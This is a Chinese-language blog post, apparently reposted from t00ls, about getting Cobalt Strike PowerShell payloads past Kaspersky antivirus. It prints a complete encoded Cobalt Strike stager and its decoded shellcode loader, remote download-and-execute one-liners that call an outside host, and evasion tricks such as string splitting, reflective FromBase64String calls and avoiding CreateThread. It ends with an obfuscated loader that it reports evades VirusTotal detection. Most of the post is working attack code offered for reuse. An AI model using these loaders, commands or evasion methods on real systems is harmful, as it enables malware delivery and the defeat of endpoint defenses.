CobaltStrike Powershell Bypass AV 初探
2020-04-05 00:56:08 Author: www.t00ls.net(查看原文) 阅读量:438 收藏

0x01 Payload 分析

CobaltStrike 版本不同所生成的payload 的也是不同的,方式大同小异,本文基于以下版本生成的 payload 进行分析。

Version : CobaltStrike 3.8 May 23,2017

Version : CobaltStrike 3.14 May 4,2019

CobaltStrike 提供了两种执行 payload 的方式:

  • 远程加载payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('URL'))"
  • 执行编码后的payload powershell -nop -w hidden -encodedcommand base64code

执行的 payload 如下

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

内容用 Gzip 压缩过,首先需要解压缩,可以使用以下几种方式来处理:

import base64
import gzip
text = "...."
print(gzip.decompress(base64.b64decode(text)).decode())
php -r 'echo gzdecode(base64_decode("...."));'

或者修改 payload 让他直接输出不执行:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...."));$a =New-Object 
IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress));$a.ReadToEnd()

处理后的代码如下所示:

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)       
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
       [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
       [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAFkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaCVbAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaWlIQgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTkyLjE2OC4xMjQuNAA=")

$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}

展开后其实是一个 shellcodeloaderfunc_get_proc_address 用于获取函数地址, func_get_delegate_type 用于返回委托类型,然后再用GetDelegateForFunctionPointer 将函数指针转换为委托再进行调用,而中间那一串 base64 代码其实就是最终执行的 shellcode。接下来就是申请内存、创建线程、执行 shellcode。稍微更改一下就是一个通用的 shellcodeloader

0x02 Bypass AV

在平常的渗透过程中,卡巴斯基的检测是最为严格的,这里选取卡巴斯基作为 Bypass 对象。

以远程加载payload的方式为例,在命令上,需要修改下载字符串的语句

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.90.153:8000/a'))"

方式很多,我这里直接用加密的方式绕过去,这样就可以正常访问到网页文件,并加载到内存中执行

powershell -nop -w hidden -c "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGE9KChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCJodHRwOi8vMTkyLjE2OC45MC4xNTM6ODAwMC9hIikpO0lFWCgkYSk='))|IEX";

光这一点是不够的,因为卡巴斯基对于请求页面中的信息也有检测(当前请求页面中的内容即为未解压缩的代码),经过反复尝试后,发现检查的对象是 [Convert]::FromBase64String("..."), 如果发现此函数,就对函数中的加密字符串进行解码,匹配是否含有恶意代码。这里提供两种绕过方式:

  • 分割字符串

    举个例子:[Convert]::FromBase64String("d2hvYW1p") =>[Convert]::FromBase64String("d2h"+"vYW1p")

  • 不使用 FromBase64String

    我这里用反射来调用 FromBase64String ,当然你也可以自定义你的加密方式。

    [convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null, “....”)

    修改后的代码为:

    $s=New-Object IO.MemoryStream(,[convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,"........."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

    修改后的文件可以直接使用 CobaltStrike -> Attacks -> Web Drive-by -> Host File 来发布,然后使用远程加载payload直接执行,可以看到,无论哪一种修改方式都正常上线。到此初步绕过了卡巴斯基的查杀。

一开始的时候,我使用的是 CobaltStrike 3.8 May 23,2017 来做的测试,测试过程中发现了一个奇怪的现象,修改后确实正常上线了,但是一段时间后卡巴斯基会检测到处于内存中的恶意代码,没办法,只能进一步分析。解压后,把 shellcodeloader 展开, 一步一步分析。最后发现在创建线程的时候,卡巴斯基格外敏感。

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)

无论你的 shellcode 如何变化,总是要解密放到内存里的,一旦创建线程,卡巴斯基就会对其进行检测,导致检测到恶意代码。没办法,不会修改shellcode,只能去看看有没有其他的调用方式,最后找到了这个 <https://github.com/prnd432/MMFml/blob/master/mmfml.ps1> 他是通过GetDelegateForFunctionPointer来调用的,这种调用方式不会另外启动一个线程。修改调用方式后,成功绕过。尴尬的是,后来我发现先高版本的 CobaltStrike 3.14 May 4,2019 已经把 shellcode 的调用方式改成了用 GetDelegateForFunctionPointer 来调用.....

0x03 ShellCodeLoader && Powershell Command

之后的工作就很简单了,因为 payload 本身就是一个 shellcodeloader,只需要稍微一下他的特征就可以达到免杀的效果,当然 func_get_proc_address func_get_delegate_type 中的特征也需要稍作变化,直接来看代码吧!

Set-StrictMode -Version 2

function fuc {
    return [System.Text.Encoding]::ASCII.GetString([convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,$args[0]));
}
function fuc1 {
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc"))
}
function fuc2 {
    Param (
       [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
       [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $text = fuc JHZhcl90eXBlX2J1aWxkZXIgPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5EZWZpbmVEeW5hbWljQXNzZW1ibHkoKE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lKCdSZWZsZWN0ZWREZWxlZ2F0ZScpKSwgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuKS5EZWZpbmVEeW5hbWljTW9kdWxlKCdJbk1lbW9yeU1vZHVsZScsICRmYWxzZSkuRGVmaW5lVHlwZSgnTXlEZWxlZ2F0ZVR5cGUnLCAnQ2xhc3MsIFB1YmxpYywgU2VhbGVkLCBBbnNpQ2xhc3MsIEF1dG9DbGFzcycsIFtTeXN0ZW0uTXVsdGljYXN0RGVsZWdhdGVdKQoJJHZhcl90eXBlX2J1aWxkZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkdmFyX3BhcmFtZXRlcnMpLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQoJJHZhcl90eXBlX2J1aWxkZXIuRGVmaW5lTWV0aG9kKCdJbnZva2UnLCAnUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwnLCAkdmFyX3JldHVybl90eXBlLCAkdmFyX3BhcmFtZXRlcnMpLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQ==
    IEX($text)
    return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {

    $str = fuc XXXXXXXXXXX# base64 两次后的 shellcode,直接用 cs 生成 raw 编码后即可
    [Byte[]]$var_code = [convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,$str) 
    $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fuc1 ), (fuc2 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40);
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length);
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (fuc2 @([IntPtr]) ([Void]))).Invoke([IntPtr]::Zero);
}
else {
    IEX $DoIt
}

为了方便,我把 shellcode 写死在里面了,如果你需要从外部获取,只需要稍微改一下就可以, V站查杀结果如下:

<https://www.virustotal.com/gui/file/626a3c5f04e305d28e40e08d813a52828910e4a11d8866cb1ef182eb7b751b22/detection>

不出网的情况,可以上传文件,然后 powershell -nop -w hidden -c "cat payload.txt|IEX",当然,也可以使用不落地的方式执行(压缩后再编码,以免过长),方式如下

powershell -nop -w hidden -c "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('....'))|IEX";

参考链接

http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/

https://sysopfb.github.io/malware,/reverse-engineering/2018/10/08/Beacon-in-a-jquery.html

https://github.com/prnd432/MMFml/blob/master/mmfml.ps1

https://www.cnblogs.com/wj/archive/2008/02/10/1066585.html

https://evi1.cn/post/powershell-bypass-4/

https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer__1_System_IntPtr_


文章来源: https://www.t00ls.net/articles-55754.html
如有侵权请联系:admin#unsafe.sh